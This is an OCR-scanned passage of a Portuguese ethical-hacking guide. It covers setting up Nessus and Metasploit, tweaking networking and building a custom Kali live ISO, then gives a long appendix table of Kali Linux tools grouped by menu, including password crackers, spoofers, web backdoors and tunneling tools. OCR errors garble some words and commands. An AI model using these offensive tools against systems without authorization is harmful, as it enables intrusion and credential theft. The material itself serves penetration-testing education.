http://www.tenable.com/products/nessus-home.

h.i. O cddigo de ativagido sera enviado para o endereco de email especificado no momento do
registro.

h.ii. O cddigo esta neste formato: X001-Y002-Z003-A004-B005.

i. Volte ao seu navegador web e faga login no Nessus com o nome do usuario e a senha criados
durante a instalacao.

j. Clique no botao de configuragio na pagina principal.

k. Selecione > Feed Settings (Configuracdes do Feed) no menu a esquerda.

1. Copie e cole ou digite o cddigo de ativagdo enviado durante o registro.

m. Clique em > Update Activation Code (Atualizar o codigo de ativagao).

m.i. O servico concluird o processo de ativagdo, fara a atualiza¢do dos plug-ins e atualizard o servico
Nessus.

m.i.1. (Observacio: Isso pode demorar um pouco, dependendo de sua conexdo com a internet, e
também pode travar de vez em quando (aproximadamente 30 minutos)).

m.i.2. Em um terminal, digite > ps -e jgrep -i nessus para verificar o status de execu¢ido do Nessus
ou atualize a pagina web de tempos em tempos de modo que “em algum momento” ele
aparecera.

n. Faca login usando as credenciais definidas no passo 11.f. (root/toor).
12. Atualize o Metasploit:
a. Abra uma janela do terminal. Digite > msfupdate
13. Execute o Blackhole.

O Blackhole é um programa que adicionara entradas ao arquivo de hosts, evitando que o navegador
web acesse sites perigosos, com base em enderecos web.



a. Digite > ~/bin/update-hosts
14. (Opcional) Desabilite o IPv6 e 0 DHCP:
a. Use Nano, VI ou um editor de textos de sua preferéncia para desabilitar o IPv6 em todas as
interfaces.
a.i. Digite > echo “net.ipvé6.conf.all.disable_ipv6 = 1” >> /etc/sysctl.conf
a.il. Digite > echo “net.ipvé.conf.default.disable_ipv6 = 1” >>/etc/sysctl.conf

a.iil. Digite > echo “net.ipv6.conf.lo.disable_ipv6 = 1” >>/etc/sysctl.conf

b. Mude do servigo de Network Manager para o servico networking. Digite > ~/bin/network-switcher

b.i. O network-switcher ird interromper todos os servicos de rede (networking e Network-Manager),
fard o backup do arquivo /etc/network/interfaces e ira alterar o servico de rede default para
“networking”.

b.ii. Para voltar a usar o Network-Manager, execute o script novamente. E aconselhdvel usar o
servico networking sem que os servicos DHCP estejam executando. Isso impedird o sistema
operacional de fazer o broadcast de pacotes quando houver um meio fisico de conexao a rede (ou
seja, um cabo Ethernet).

b.iii. (Para habilitar novamente o Ipv6) Use o Nano ou o VI para editar o arquivo /etc/sysctl.conf e
modificar os parametros dos comandos anteriores de “1” para “0”. Em seguida, reinicie o servigo
de rede (service networking restart).

c. Configure manualmente uma interface de rede:
c.i. Digite > ifconfig ethe {Endereco_IP}/{CIDR}
c.ii. Digite > route add default gw {Endereco_IP_do_gateway}

c.iii. Use o Nano ou o VI para conferir os servidores de nome em /etc/resolv.conf.

Personaliza¢iao da interface

(Observagio: a seguir, encontram-se apenas algumas sugestdes. Estes passos ndo sdo obrigatdrios, porém
sdo uteis antes da criacao de um live DVD do Tribal Chicken. Apds a personalizagdo, va para “Criando
um ISO”.)

1. Mude os layouts dos painéis.

2. Modifique os atalhos para os painéis.

3. Adicione atalhos de teclado.

4. Configure os pardmetros do screensaver.
5. Altere a imagem do plano de fundo.

6. Habilite/desabilite efeitos especiais de janelas.

Executando as atualizacdes

Apos a personalizagao do Kali ter sido concluida, a imagem estard pronta para ser gravada em uma
midia dptica para ser instalada. O sistema permanecera totalmente intacto durante a criagao do disco.



Sempre que um profissional da drea de seguranca quiser fazer uma alteracgio, ele deve fazer o boot com
o Kali Linux, fazer as alteracoes, atualizar os arquivos e entao fazer o boot novamente com o Ubuntu
12.10 para gravar outra copia. Esse é o framework para usar o Tribal Chicken.

Criando um ISO com o Tribal Chicken

1. Faga o boot novamente com o Ubuntu 12.10.
2. Faca o login.

3. (Sugestdo) Desabilite o screensaver. Isso devera ser feito tanto para o sistema Ubuntu corrente
QUANTO para o sistema operacional pai.

a. Se o screensaver de qualquer um dos sistemas operacionais aparecer enquanto o processo de criacao
a seguir estiver usando “squash-fs”, o resultado se tornara invalido e o processo devera ser
executado novamente.

4. Inicie o Tribal Chicken:

a. Abra uma janela do terminal

b. Inicie o utilitario Tribal Chicken:
b.i. Digite > cd build
b.ii. Digite > sudo ./tribal-chicken

5. Usando as setas para navegacao no teclado, procure 150 Configuration.

a. Selecione > 1Change_Config.

b. Tecle > Enter.

c. Confira os parametros a seguir; mude aqueles que estdo apresentados em destaque.
c.i. ARCH_BASE = 64
c.ii. ARCHIVE_FLAG = false
c.iii. BUILD_BASE = /home/[nome_do_usudrio]/build
c.iv. DVD_BASE = DVD64
c.v. DEFAULT_ISO_NAME = {pATA} Tribal Chicken_64.iso
c.vi. DEFAULT_VERSION = 0.MM.DD.YY
c.vii. MIGRATE_DIR = /home/[nome_dousudrio]/build/migrate
c.viii. MIGRATE_FLAG = false
c.ix. ROOT_FILENAME = {pATA} _root_64.fs
c.X. SRC_PARTITIONT = /dev/sda1 (Localizacao do Kali Linux)
c.xi. BURN_TO_DISC =false (true = gravar o ISO durante a cria¢ao)
c.xii. RECORDING_DEVICE = /dev/[dispositivo]

d. Selecione > Quit (Sair).

e. Tecle > Enter.

e.i. Volte para a janela principal.



6. Selecione > 2 Build_ISO.

7. Tecle > Enter.

8. Quando solicitado, selecione > YES.
9. Tecle > Enter.

(Observagdao: De acordo com o computador e/ou as configuragdes da maquina virtual, isso pode levar
entre 30 e 120 minutos.)

a. Quando o ISO terminar de ser processado, a aplica¢do solicitara que o usuario insira um DVD ou
um Blu-Ray disc, de acordo com o tamanho do ISO.

Gravando um ISO em um DVD ou em um Blu-Ray disc

Este passo é para aqueles que ja criaram um ISO usando o Tribal Chicken e que desejam grava-lo
diretamente em um disco, em vez de executa-lo por meio do script do Tribal Chicken.

1. Faga o boot no Ubuntu 12.10 e abra uma janela do terminal.
a. Digite > growisofs -overburn -Z=/dev/[dispositivo_de_gravac¢do] ~/build/{nome_de_seu ISO}.iso

a.i. O [dispositivo_de_gravacdo] geralmente serd cdrw, dvdrw ou sre, mas sera especifico para o seu
computador.

Testes e validacao (versao resumida)

Testar um ISO é um processo metddico que sera tao personalizado quanto a prépria distribui¢ao. O
melhor teste consiste em validar um disco ISO gravado em um computador de teste que ira executa-lo.
Se o Tribal Chicken foi usado para criar uma plataforma de treinamento, testar um disco gravado em
varios tipos diferentes de computador serd uma boa ideia.

1. Insira a nova midia ISO em um computador ou em uma maquina virtual e faca o boot com o disco.
2. Teste o status dos seguintes itens:

a. Nessus

b. VMWare Player

c. Metasploit

d. NMAP

e. Wireshark

f. IceWeasel e Plug-ins

g. Chrome

h. Outras aplicacoes principais instaladas e que sio muito importantes para a realizacdo das missoes de
testes.

3. Desligue o sistema.

4. Se todos os testes forem satisfatorios, o ISO teve sucesso. Caso haja necessidade de alterar os drivers,
as configuragdes ou os scripts, volte ao sistema operacional Kali Linux e continue pesquisando até que



todas as necessidades para as missdes tenham sido atendidas.

Isto conclui este manual para a criacao de versdes personalizadas com o Tribal Chicken.



APENDICE B

Ferramentas para testes de invasao do Kali

A plataforma Kali Linux vem previamente carregada com mais de 400 ferramentas que podem ser
usadas nas varias etapas de um teste de invasdo ou em atividades associadas ao hacking ético. A tabela a
seguir lista todas as ferramentas e o local em que elas se encontram na estrutura de menus do Kali

Linux.

Menu | Menu deatividades Submenu Aplicacdo
Kali Linux | Top 10 aircrack-ng
Kali Linux | Top 10 burpsuite
Kali Linux | Top 10 hydra
Kali Linux | Top 10 john
Kali Linux | Top 10 maltigo
Kali Linux | Top 10 metasploit framework
Kali Linux | Top 10 nmap
Kali Linux | Top 10 sqlmap
Kali Linux | Top 10 wireshark
Kali Linux | Top 10 zaproxy
Kali Linux | Information Gathering | DNS Analysis dnsdicté
Kali Linux | Information Gathering | DNS Analysis dnsenum
Kali Linux | Information Gathering | DNS Analysis dnsmap
Kali Linux | Information Gathering | DNS Analysis dnsrecon
Kali Linux | Information Gathering | DNS Analysis dnsrevenum6
Kali Linux | Information Gathering | DNS Analysis dnstracer
Kali Linux | Information Gathering | DNS Analysis dnswalk
Kali Linux | Information Gathering | DNS Analysis fierce
Kali Linux | Information Gathering | DNS Analysis maltego
Kali Linux | Information Gathering | DNS Analysis nmap
Kali Linux | Information Gathering | DNS Analysis urlcrazy
Kali Linux | Information Gathering | IDS/IPS Identification fragroute
Kali Linux | Information Gathering | IDS/IPS Identification fragrouter
Kali Linux | Information Gathering | IDS/IPS Identification wafw00f
Kali Linux | Information Gathering | Live Host Identification alive6
Kali Linux | Information Gathering | Live Host Identification arping
Kali Linux | Information Gathering | Live Host Identification | cdpsnarf
Kali Linux | Information Gathering | Live Host Identification detect-new-ip6
Kali Linux | Information Gathering | Live Host Identification detect_sniffer6
Kali Linux | Information Gathering | Live Host Identification dmitry
Kali Linux | Information Gathering | Live Host Identification dnmap-client
Kali Linux | Information Gathering | Live Host Identification dnmap-server
Kali Linux | Information Gathering | Live Host Identification  |fping
Kali Linux | Information Gathering | Live Host Identification hping 3




Kali Linux | Information Gathering | Live Host Identification inverse_lookup6
Kali Linux | Information Gathering | Live Host Identification miranda

Kali Linux | Information Gathering | Live Host Identification ncat

Kali Linux | Information Gathering | Live Host Identification netdiscover

Kali Linux | Information Gathering | Live Host Identification nmap

Kali Linux | Information Gathering | Live Host Identification passive_discovery6
Kali Linux | Information Gathering | Live Host Identification thcping6

Kali Linux | Information Gathering | Live Host Identification wol-e

Kali Linux | Information Gathering | Live Host Identification xprobe2

Kali Linux | Information Gathering | network Scanners dimitry

Kali Linux | Information Gathering | network Scanners dnmap-client
Kali Linux | Information Gathering | network Scanners dnmap-server
Kali Linux | Information Gathering | network Scanners netdiscover

Kali Linux | Information Gathering | network Scanners nmap

Kali Linux | Information Gathering | Fingerprinting dnmap-client
Kali Linux | Information Gathering | Fingerprinting dnmap-server
Kali Linux | Information Gathering | Fingerprinting miranda

Kali Linux | Information Gathering | Fingerprinting nmap

Kali Linux | Information Gathering | OSINT Analysis casefile

Kali Linux | Information Gathering | OSINT Analysis creepy

Kali Linux | Information Gathering | OSINT Analysis dimitry

Kali Linux | Information Gathering | OSINT Analysis jigsaw

Kali Linux | Information Gathering | OSINT Analysis maltigo

Kali Linux | Information Gathering | OSINT Analysis metagoofil

Kali Linux | Information Gathering | OSINT Analysis theharvester
Kali Linux | Information Gathering | OSINT Analysis twofi

Kali Linux | Information Gathering | OSINT Analysis urlcrazy

Kali Linux | Information Gathering | Route Analysis dnmap-client
Kali Linux | Information Gathering | Route Analysis dnmap-server
Kali Linux | Information Gathering | Route Analysis intrace

Kali Linux | Information Gathering | Route Analysis netmask

Kali Linux | Information Gathering | Route Analysis trace6

Kali Linux | Information Gathering | Service Fingerprinting dnmap-client
Kali Linux | Information Gathering | Service Fingerprinting dnmap-server
Kali Linux | Information Gathering | Service Fingerprinting implementation6
Kali Linux | Information Gathering | Service Fingerprinting implementation6d
Kali Linux | Information Gathering | Service Fingerprinting ncat

Kali Linux | Information Gathering | Service Fingerprinting nmap

Kali Linux | Information Gathering | Service Fingerprinting sslscan

Kali Linux | Information Gathering | Service Fingerprinting sslyze

Kali Linux | Information Gathering | Service Fingerprinting tlssled

Kali Linux | Information Gathering | SMB Analysis acccheck

Kali Linux | Information Gathering | SMB Analysis nbtscan

Kali Linux | Information Gathering | SMB Analysis nmap

Kali Linux | Information Gathering | SMTP Analysis nmap

Kali Linux | Information Gathering | SMTP Analysis smtp-user-enum
Kali Linux | Information Gathering | SMTP Analysis swaks




Kali Linux | Information Gathering | SNMP Analysis braa

Kali Linux | Information Gathering | SNMP Analysis cisco-auditing-tool
Kali Linux | Information Gathering | SNMP Analysis cisco-torch

Kali Linux | Information Gathering | SNMP Analysis copy-router-config
Kali Linux | Information Gathering | SNMP Analysis merge-router-config
Kali Linux | Information Gathering | SNMP Analysis nmap

Kali Linux | Information Gathering | SNMP Analysis onesixone

Kali Linux | Information Gathering | SNMP Analysis snmpcheck

Kali Linux | Information Gathering | SSL Analysis sslcaudit

Kali Linux | Information Gathering | SSL Analysis ssldump

Kali Linux | Information Gathering | SSL Analysis sslh

Kali Linux | Information Gathering | SSL Analysis sslscan

Kali Linux | Information Gathering | SSL Analysis sslsniff

Kali Linux | Information Gathering | SSL Analysis sslstrip

Kali Linux | Information Gathering | SSL Analysis sslyze

Kali Linux | Information Gathering | SSL Analysis stunnel4

Kali Linux | Information Gathering | SSL Analysis tlssled

Kali Linux | Information Gathering | Telephony Analysis ace

Kali Linux | Information Gathering | Traffic Analysis cdpsnarf

Kali Linux | Information Gathering | Traffic Analysis intrace

Kali Linux | Information Gathering | Traffic Analysis irpas-ass

Kali Linux | Information Gathering | Traffic Analysis irpas-cdp

Kali Linux | Information Gathering | Traffic Analysis pof

Kali Linux | Information Gathering | Traffic Analysis tepflow

Kali Linux | Information Gathering | Traffic Analysis wireshark

Kali Linux | Information Gathering | VoIP Analysis ace

Kali Linux | Information Gathering | VoIP Analysis enumiax

Kali Linux | Information Gathering | VPN Analysis ike-scan

Kali Linux | Vulnerability Analysis | Cisco Tools Cisco-auditing-tool
Kali Linux | Vulnerability Analysis | Cisco Tools cisco-global-explorer
Kali Linux | Vulnerability Analysis | Cisco Tools Cisco-0cs

Kali Linux | Vulnerability Analysis | Cisco Tools cisco-torch

Kali Linux | Vulnerability Analysis | Cisco Tools yersinia

Kali Linux | Vulnerability Analysis | Database Assessment bbqsql

Kali Linux | Vulnerability Analysis | Database Assessment dbpwaudit

Kali Linux | Vulnerability Analysis | Database Assessment hexorbase

Kali Linux | Vulnerability Analysis | Database Assessment mdb-export

Kali Linux | Vulnerability Analysis | Database Assessment mdb-hexdump
Kali Linux | Vulnerability Analysis | Database Assessment mdb-parsecsv

Kali Linux | Vulnerability Analysis | Database Assessment mdb-sq

Kali Linux | Vulnerability Analysis | Database Assessment mdb-tables

Kali Linux | Vulnerability Analysis | Database Assessment oscanner

Kali Linux | Vulnerability Analysis | Database Assessment sidguesser

Kali Linux | Vulnerability Analysis | Database Assessment sqldict

Kali Linux | Vulnerability Analysis | Database Assessment sqlmap

Kali Linux | Vulnerability Analysis | Database Assessment sglninja

Kali Linux | Vulnerability Analysis | Database Assessment sqlsus




Kali Linux | Vulnerability Analysis | Database Assessment tnscmd10g
Kali Linux | Vulnerability Analysis | Fuzzing Tools bed

Kali Linux | Vulnerability Analysis | Fuzzing Tools fuzz_ip6

Kali Linux | Vulnerability Analysis | Fuzzing Tools ohrwurm

Kali Linux | Vulnerability Analysis | Fuzzing Tools powerfuzzer
Kali Linux | Vulnerability Analysis | Fuzzing Tools sfuzz

Kali Linux | Vulnerability Analysis | Fuzzing Tools siparmyknofe

Kali Linux

Vulnerability Analysis

Fuzzing Tools

spike-generic_ chunked

Kali Linux

Vulnerability Analysis

Fuzzing Tools

spike-generic_listen_tcp

Kali Linux

Vulnerability Analysis

Fuzzing Tools

spike_generic_send_tcp

Kali Linux | Vulnerability Analysis | Fuzzing Tools spike_generic_send_udp
Kali Linux | Vulnerability Analysis | Misc Scanners lynis

Kali Linux | Vulnerability Analysis | Misc Scanners nikto

Kali Linux | Vulnerability Analysis | Misc Scanners nmap

Kali Linux | Vulnerability Analysis | Misc Scanners unix-privesc-check
Kali Linux | Vulnerability Analysis | Open Source Assessment | casefile

Kali Linux | Vulnerability Analysis | Open Source Assessment | maltigo

Kali Linux | Vulnerability Analysis {Open VAS openvas-gsd
Kali Linux | Vulnerability Analysis {Open VAS openvas-setup
Kali Linux | Web Applications (MSIdentification blindelephant
Kali Linux | Web Applications (MSIdentification plecost

Kali Linux | Web Applications (MSIdentification wpscan

Kali Linux | Web Applications Database Exploitation bbqsql

Kali Linux | Web Applications Database Exploitation sglninja

Kali Linux | Web Applications Database Exploitation sqlsus

Kali Linux | Web Applications IDS/IPS Identification ua-tester

Kali Linux | Web Applications Web Application Fuzzers | burpsuite

Kali Linux | Web Applications Web Application Fuzzers | powerfuzzer
Kali Linux | Web Applications Web Application Fuzzers | webscarab
Kali Linux | Web Applications Web Application Fuzzers | webslayer

Kali Linux | Web Applications Web Application Fuzzers | websploit

Kali Linux | Web Applications Web Application Fuzzers | wfuzz

Kali Linux | Web Applications Web Application Fuzzers | xsser

Kali Linux | Web Applications Web Application Fuzzers | zaproxy

Kali Linux | Web Applications Web Application Proxies | burpsuite

Kali Linux | Web Applications Web Application Proxies | paros

Kali Linux | Web Applications Web Application Proxies | proxystrike
Kali Linux | Web Applications Web Application Proxies | webscarab
Kali Linux | Web Applications Web Application Proxies  |zaproxy

Kali Linux | Web Applications Web Crawlers apache-users
Kali Linux | Web Applications Web Crawlers burpsuite

Kali Linux | Web Applications Web Crawlers cutycapt

Kali Linux | Web Applications Web Crawlers dirb

Kali Linux | Web Applications Web Crawlers dirbuster

Kali Linux | Web Applications Web Crawlers vega

Kali Linux | Web Applications Web Crawlers webscarab
Kali Linux | Web Applications Web Crawlers webslayer




Kali Linux | Web Applications Web Crawlers zaproxy

Kali Linux | Web Applications Web Vulnerability Scanners | burpsuite

Kali Linux | Web Applications Web Vulnerability Scanners | cadaver

Kali Linux | Web Applications Web Vulnerability Scanners | davtest

Kali Linux | Web Applications Web Vulnerability Scanners | deblaze

Kali Linux | Web Applications Web Vulnerability Scanners | fimap

Kali Linux | Web Applications Web Vulnerability Scanners | grabber

Kali Linux | Web Applications Web Vulnerability Scanners | joomscan

Kali Linux | Web Applications Web Vulnerability Scanners | nikto

Kali Linux | Web Applications Web Vulnerability Scanners | padbuster

Kali Linux | Web Applications Web Vulnerability Scanners | proxystrike
Kali Linux | Web Applications Web Vulnerability Scanners | skipfish

Kali Linux | Web Applications Web Vulnerability Scanners | sqimap

Kali Linux | Web Applications Web Vulnerability Scanners | vega

Kali Linux | Web Applications Web Vulnerability Scanners | w3af

Kali Linux | Web Applications Web Vulnerability Scanners | wapiti

Kali Linux | Web Applications Web Vulnerability Scanners | webscarab

Kali Linux | Web Applications Web Vulnerability Scanners | webshag-cli
Kali Linux | Web Applications Web Vulnerability Scanners | webshag-qui
Kali Linux | Web Applications Web Vulnerability Scanners | websploit

Kali Linux | Web Applications Web Vulnerability Scanners | whatweb

Kali Linux | Web Applications Web Vulnerability Scanners [ wpscan

Kali Linux | Web Applications Web Vulnerability Scanners | xsser

Kali Linux | Web Applications Web Vulnerability Scanners | zaproxy

Kali Linux | Password Attacks GPU Tools oclhashcat-lite
Kali Linux | Password Attacks GPU Tools oclhashcat-plus
Kali Linux | Password Attacks GPU Tools pyrit

Kali Linux | Password Attacks Offline Attacks cachedump
Kali Linux | Password Attacks Offline Attacks chntpw

Kali Linux | Password Attacks Offline Attacks cmospwd

Kali Linux | Password Attacks Offline Attacks crunch

Kali Linux | Password Attacks Offline Attacks dictstat

Kali Linux | Password Attacks Offline Attacks fcrackzip

Kali Linux | Password Attacks Offline Attacks hashcat

Kali Linux [ Password Attacks Offline Attacks hash-identifier
Kali Linux | Password Attacks Offline Attacks john

Kali Linux | Password Attacks Offline Attacks johnny

Kali Linux | Password Attacks Offline Attacks Isadump

Kali Linux | Password Attacks Offline Attacks maskgen

Kali Linux [ Password Attacks Offline Attacks multiforcer
Kali Linux | Password Attacks Offline Attacks oclhashcat-lite
Kali Linux | Password Attacks Offline Attacks oclhashcat-plus
Kali Linux | Password Attacks Offline Attacks ophcrack

Kali Linux | Password Attacks Offline Attacks ophcrack-cli
Kali Linux | Password Attacks Offline Attacks policygen

Kali Linux | Password Attacks Offline Attacks pwdump

Kali Linux | Password Attacks Offline Attacks pyrit




Kali Linux | Password Attacks Offline Attacks rainbowcrack
Kali Linux | Password Attacks Offline Attacks rcracki_mt
Kali Linux | Password Attacks Offline Attacks rsmangler
Kali Linux | Password Attacks Offline Attacks samdump?2
Kali Linux | Password Attacks Offline Attacks sipcrack

Kali Linux | Password Attacks Offline Attacks sucrack

Kali Linux | Password Attacks Offline Attacks truecrack
Kali Linux | Password Attacks Online Attacks acccheck

Kali Linux | Password Attacks Online Attacks burpsuite
Kali Linux | Password Attacks Online Attacks cewl

Kali Linux | Password Attacks Online Attacks Cisco-auditing-tool
Kali Linux | Password Attacks Online Attacks dbpwaudit
Kali Linux | Password Attacks Online Attacks findmyhash
Kali Linux | Password Attacks Online Attacks hydra

Kali Linux | Password Attacks Online Attacks hydra-gtk
Kali Linux | Password Attacks Online Attacks medusa

Kali Linux | Password Attacks Online Attacks ncrack

Kali Linux | Password Attacks Online Attacks onesixone
Kali Linux | Password Attacks Online Attacks patetor

Kali Linux | Password Attacks Online Attacks phraseendrescher
Kali Linux | Password Attacks Online Attacks thc-pptp-bruter
Kali Linux | Password Attacks Online Attacks webscarab
Kali Linux | Password Attacks Online Attacks zaproxy

Kali Linux | Wireless Attacks Bluetooth tools bluelog

Kali Linux | Wireless Attacks Bluetooth tools bluemaho
Kali Linux | Wireless Attacks Bluetooth tools bluranger
Kali Linux | Wireless Attacks Bluetooth tools btscanner
Kali Linux | Wireless Attacks Bluetooth tools fang

Kali Linux | Wireless Attacks Bluetooth tools spooftooph
Kali Linux | Wireless Attacks Other Wireless Tools zbassocflood
Kali Linux | Wireless Attacks Other Wireless Tools zbconvert
Kali Linux | Wireless Attacks Other Wireless Tools zbdsniff

Kali Linux | Wireless Attacks Other Wireless Tools zbdump

Kali Linux | Wireless Attacks Other Wireless Tools zbfind

Kali Linux | Wireless Attacks Other Wireless Tools zbgoodfind
Kali Linux | Wireless Attacks Other Wireless Tools zbreplay

Kali Linux | Wireless Attacks Other Wireless Tools zZbstumbler
Kali Linux | Wireless Attacks RFID/NFCTools

Kali Linux | Wireless Attacks Wireless Tools aircrack-ng
Kali Linux | Wireless Attacks Wireless Tools aireplay-ng
Kali Linux | Wireless Attacks Wireless Tools airmon-ng
Kali Linux | Wireless Attacks Wireless Tools airodump-ng
Kali Linux | Wireless Attacks Wireless Tools asleap

Kali Linux | Wireless Attacks Wireless Tools cowpatty
Kali Linux | Wireless Attacks Wireless Tools eapmd>5pass

Kali Linux

Wireless Attacks

Wireless Tools

fern-wifi-cracker

Kali Linux

Wireless Attacks

Wireless Tools

genkeys




Kali Linux | Wireless Attacks Wireless Tools genpmk

Kali Linux | Wireless Attacks Wireless Tools giskismet

Kali Linux | Wireless Attacks Wireless Tools mdk3

Kali Linux | Wireless Attacks Wireless Tools wifiarp

Kali Linux | Wireless Attacks Wireless Tools wifidns

Kali Linux | Wireless Attacks Wireless Tools wifi-honey

Kali Linux | Wireless Attacks Wireless Tools wifiping

Kali Linux | Wireless Attacks Wireless Tools wifitap

Kali Linux | Wireless Attacks Wireless Tools wifite

Kali Linux | Exploitation Tools Cisco Attacks Cisco-auditing-tool

Kali Linux | Exploitation Tools Cisco Attacks cisco-global-explorer
Kali Linux | Exploitation Tools Cisco Attacks Cisco-0cs

Kali Linux | Exploitation Tools Cisco Attacks cisco-torch

Kali Linux | Exploitation Tools Cisco Attacks yersinia

Kali Linux | Exploitation Tools Exploit Database searchsploit

Kali Linux | Exploitation Tools Metasploit Metasploit Community/Pro
Kali Linux | Exploitation Tools Metasploit Metasploit diagnostic logs
Kali Linux | Exploitation Tools Metasploit Metasploit diagnostic shell
Kali Linux | Exploitation Tools Metasploit Metasploit Framework
Kali Linux | Exploitation Tools Metasploit Update Metasploit

Kali Linux | Exploitation Tools Network Exploitation exploit6

Kali Linux | Exploitation Tools Network Exploitation ikat

Kali Linux

Exploitation Tools

Network Exploitation

jboss-autopwn-win

Kali Linux | Exploitation Tools Network Exploitation jboss-autopwn-linux
Kali Linux | Exploitation Tools Network Exploitation termineter

Kali Linux | Exploitation Tools Social Engineering Toolkit | se-toolkit

Kali Linux | Sniffing/Spoofing Network Sniffers darkstat

Kali Linux | Sniffing/Spoofing Network Sniffers dnschef

Kali Linux | Sniffing/Spoofing Network Sniffers dnsspoof

Kali Linux | Sniffing/Spoofing Network Sniffers dsniff

Kali Linux | Sniffing/Spoofing Network Sniffers ettercap-graphical
Kali Linux | Sniffing/Spoofing Network Sniffers hexinject

Kali Linux | Sniffing/Spoofing Network Sniffers mailsnarf

Kali Linux | Sniffing/Spoofing Network Sniffers msgsnarf

Kali Linux | Sniffing/Spoofing Network Sniffers netsniff-ng

Kali Linux | Sniffing/Spoofing Network Sniffers passive_discovery6
Kali Linux | Sniffing/Spoofing Network Sniffers sslsniff

Kali Linux | Sniffing/Spoofing Network Sniffers tepflow

Kali Linux | Sniffing/Spoofing Network Sniffers urlsnarf

Kali Linux | Sniffing/Spoofing Network Sniffers webmitm

Kali Linux | Sniffing/Spoofing Network Sniffers webspy

Kali Linux | Sniffing/Spoofing Network Sniffers wireshark

Kali Linux | Sniffing/Spoofing Network Spoofing dnschef

Kali Linux | Sniffing/Spoofing Network Spoofing ettercap-graphical
Kali Linux | Sniffing/Spoofing Network Spoofing evilgrade

Kali Linux | Sniffing/Spoofing Network Spoofing fake_advertise6




Kali Linux | Sniffing/Spoofing Network Spoofing fake_dhcps6
Kali Linux | Sniffing/Spoofing Network Spoofing fake_dns6
Kali Linux | Sniffing/Spoofing Network Spoofing fake_mld26
Kali Linux | Sniffing/Spoofing Network Spoofing fake_mldrouter6
Kali Linux | Sniffing/Spoofing Network Spoofing fake_router26
Kali Linux | Sniffing/Spoofing Network Spoofing fake_router6
Kali Linux | Sniffing/Spoofing Network Spoofing fake_solicitate6
Kali Linux | Sniffing/Spoofing Network Spoofing fiked

Kali Linux | Sniffing/Spoofing Network Spoofing macchanger
Kali Linux | Sniffing/Spoofing Network Spoofing parasite6

Kali Linux | Sniffing/Spoofing Network Spoofing randicmp6
Kali Linux | Sniffing/Spoofing Network Spoofing rebind

Kali Linux | Sniffing/Spoofing Network Spoofing redir6

Kali Linux | Sniffing/Spoofing Network Spoofing sniffjoke

Kali Linux | Sniffing/Spoofing Network Spoofing sslstrip

Kali Linux | Sniffing/Spoofing Network Spoofing tcpreplay
Kali Linux | Sniffing/Spoofing Network Spoofing wifi-honey
Kali Linux | Sniffing/Spoofing Network Spoofing yersinia

Kali Linux | Sniffing/Spoofing Voiceand Surveillance msgsnarf

Kali Linux | Sniffing/Spoofing VoIP Tools iaxflood

Kali Linux | Sniffing/Spoofing VoIP Tools inviteflood
Kali Linux | Sniffing/Spoofing VoIP Tools ohrwurm
Kali Linux | Sniffing/Spoofing VoIP Tools protos-sip
Kali Linux | Sniffing/Spoofing VoIP Tools rtpbreak

Kali Linux | Sniffing/Spoofing VoIP Tools rtpflood

Kali Linux | Sniffing/Spoofing VoIP Tools rtpinsertsound
Kali Linux | Sniffing/Spoofing VoIP Tools rtpmixsound
Kali Linux | Sniffing/Spoofing VoIP Tools sctpscan

Kali Linux | Sniffing/Spoofing VoIP Tools siparmyknife
Kali Linux | Sniffing/Spoofing VoIP Tools sipp

Kali Linux | Sniffing/Spoofing VoIP Tools sipsak

Kali Linux | Sniffing/Spoofing VoIP Tools svcrash

Kali Linux | Sniffing/Spoofing VoIP Tools svmap

Kali Linux | Sniffing/Spoofing VoIP Tools svreport

Kali Linux | Sniffing/Spoofing VoIP Tools svwar

Kali Linux | Sniffing/Spoofing VoIP Tools viophopper
Kali Linux | Sniffing/Spoofing Web Sniffers burpsuite
Kali Linux | Sniffing/Spoofing Web Sniffers dnsspoof
Kali Linux | Sniffing/Spoofing Web Sniffers driftnet

Kali Linux | Sniffing/Spoofing Web Sniffers ferret

Kali Linux | Sniffing/Spoofing Web Sniffers mitmproxy
Kali Linux | Sniffing/Spoofing Web Sniffers urlsnarf

Kali Linux | Sniffing/Spoofing Web Sniffers webmitm
Kali Linux | Sniffing/Spoofing Web Sniffers webscarab
Kali Linux | Sniffing/Spoofing Web Sniffers webspy

Kali Linux | Sniffing/Spoofing Web Sniffers zZaproxy

Kali Linux | Maintaining Access | 0S Backdoors cymothoa




Kali Linux | Maintaining Access | 0S Backdoors dbd

Kali Linux | Maintaining Access | 0S Backdoors intersect
Kali Linux | Maintaining Access | 0S Backdoors powersploit
Kali Linux | Maintaining Access | 0S Backdoors shd

Kali Linux | Maintaining Access | 0S Backdoors u3-pwn

Kali Linux | Maintaining Access [ Tunneling Tools cryptcay
Kali Linux | Maintaining Access [ Tunneling Tools dbd

Kali Linux | Maintaining Access [ Tunneling Tools dns2tcpc
Kali Linux | Maintaining Access [ Tunneling Tools dns2tcpd
Kali Linux | Maintaining Access [ Tunneling Tools iodine

Kali Linux | Maintaining Access [ Tunneling Tools miredo

Kali Linux | Maintaining Access [ Tunneling Tools ncat

Kali Linux | Maintaining Access [ Tunneling Tools proxychains
Kali Linux | Maintaining Access [ Tunneling Tools proxytunnel
Kali Linux | Maintaining Access [ Tunneling Tools ptunnel

Kali Linux | Maintaining Access [ Tunneling Tools pwnat

Kali Linux | Maintaining Access [ Tunneling Tools shd

Kali Linux | Maintaining Access [ Tunneling Tools socat

Kali Linux | Maintaining Access [ Tunneling Tools sslh

Kali Linux | Maintaining Access [ Tunneling Tools stunnel4
Kali Linux | Maintaining Access [ Tunneling Tools udptunnel
Kali Linux | Maintaining Access | Web Backdoors webacoo
Kali Linux | Maintaining Access | Web Backdoors weevely

Kali Linux | Reverse Engineering | Debuggers edb-debugger
Kali Linux | Reverse Engineering | Debuggers ollydbg

Kali Linux | Reverse Engineering [ Disassembly jad

Kali Linux | Reverse Engineering [ Disassembly rabin2

Kali Linux | Reverse Engineering [ Disassembly radiff2

Kali Linux | Reverse Engineering | Disassembly rasm2

Kali Linux | Reverse Engineering [ Misc RE Tools apktool

Kali Linux | Reverse Engineering [ Misc RE Tools clang

Kali Linux | Reverse Engineering [ Misc RE Tools clang

Kali Linux | Reverse Engineering [ Misc RE Tools dex2jar

Kali Linux | Reverse Engineering [ Misc RE Tools flasm

Kali Linux | Reverse Engineering [ Misc RE Tools javasnoop
Kali Linux | Reverse Engineering [ Misc RE Tools radare2

Kali Linux | Reverse Engineering [ Misc RE Tools rafind2

Kali Linux | Reverse Engineering [ Misc RE Tools ragg2

Kali Linux | Reverse Engineering [ Misc RE Tools ragg2-cc
